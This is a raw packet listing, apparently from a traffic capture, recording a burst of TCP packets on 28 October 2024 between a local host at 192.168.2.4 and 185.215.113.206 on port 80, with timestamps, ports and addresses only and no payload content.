Oct 28, 2024 06:27:26.516072989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.516077042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.516117096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.516141891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.516158104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.516170025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.516180038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.516184092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.516191006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.516208887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.516223907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.561017036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.561028957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.561038017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.561259031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.561259031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.633725882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.633748055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.633759022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.633791924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.633800983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.633804083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.633810997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.633816957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.633832932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.633843899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.633868933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.633897066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634146929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634165049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634175062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634192944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634218931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634241104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634252071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634262085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634283066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634308100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634325027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634335041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634363890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634627104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634665966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634668112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634677887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634701967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634726048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634735107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634744883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634754896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634773016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634776115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634784937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634813070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634841919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634851933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634879112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634905100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634916067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634927988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634938955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634939909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634951115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.634963036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.634989023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635015011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635025024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635044098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635087013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635107040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635117054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635143042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635164022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635174990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635185003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635199070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635224104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635270119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635282040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635292053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635302067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635307074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635334969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635354996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635369062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635387897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635411024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635464907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635476112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635488033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635508060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635529995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635580063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635611057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635633945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635644913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635654926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635668039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635682106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635708094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635716915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.635735989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635751963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.635972023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636004925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636022091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636032104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636039019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636116028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636200905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636213064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636223078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636238098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636255980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636266947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636276960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636281967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636286020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636291027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636312008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636323929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636348963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636354923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636365891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636384964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636432886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636460066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636499882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636723042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636754990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636781931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636792898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636802912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636815071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636841059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636862993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636874914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636884928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636893988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636894941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.636920929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.636943102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.679846048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.679869890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.679881096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.679938078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.679985046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.754894972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.754920006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.754930973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.754959106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.754980087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755032063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755067110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755109072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755117893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755129099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755141020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755142927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755151987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755167007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755181074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755199909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755217075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755238056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755273104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755290985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755302906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755323887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755328894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755338907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755341053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755363941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755373955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755477905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755487919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755500078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.755510092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755527973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.755966902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756007910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756012917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756042004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756053925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756086111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756098986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756131887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756145954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756156921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756177902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756195068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756266117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756274939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756290913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756302118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756308079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756314993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756325960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756331921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756349087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756371021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756469965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756481886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756494045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756503105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756517887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756529093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756532907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756558895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756594896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756619930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756623983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756649971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756685972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756696939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756707907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756717920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756736994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756779909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756808996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756831884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756865978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756870985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756902933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756932974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756942034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756962061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756969929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756978989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.756980896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.756990910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757002115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757016897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757031918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757041931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757054090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757065058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757072926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757075071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757091045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757113934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757139921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757148981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757162094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757172108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757174969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757185936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757188082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757209063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757235050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757817984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757868052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757869959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757882118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757905006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757919073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757939100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757950068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.757972002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.757985115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.758186102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.758197069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.758208036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.758236885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.758249044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.758260012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.758261919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.758270025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.758292913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.758316040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.758347988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.758384943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.758398056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.758413076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.758466959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.758477926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.758485079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.758488894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.758500099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.758512020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.758532047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.800724983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.800765991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.800777912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.800810099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.800834894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.800846100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.800852060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.800857067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.800869942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.800889969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.800918102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.800945044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.800956964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.800966978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.800981998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.800997019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.801013947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.801043034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.875472069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875483036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875494003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875526905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.875555992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.875566006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875606060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.875633001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875644922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875675917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.875701904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875713110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875722885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875732899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875750065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.875766993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.875838995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875878096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.875900030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875909090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875920057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875930071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875946045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875946999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.875977039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.875994921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.876002073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.876002073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.876005888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.876032114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.876104116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.876347065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.876389980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.876405954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.876416922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.876426935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.876449108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.876471043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.876478910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:26.876521111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:26.876532078 CET	80	49758	185.215.113.206	192.168.2.4
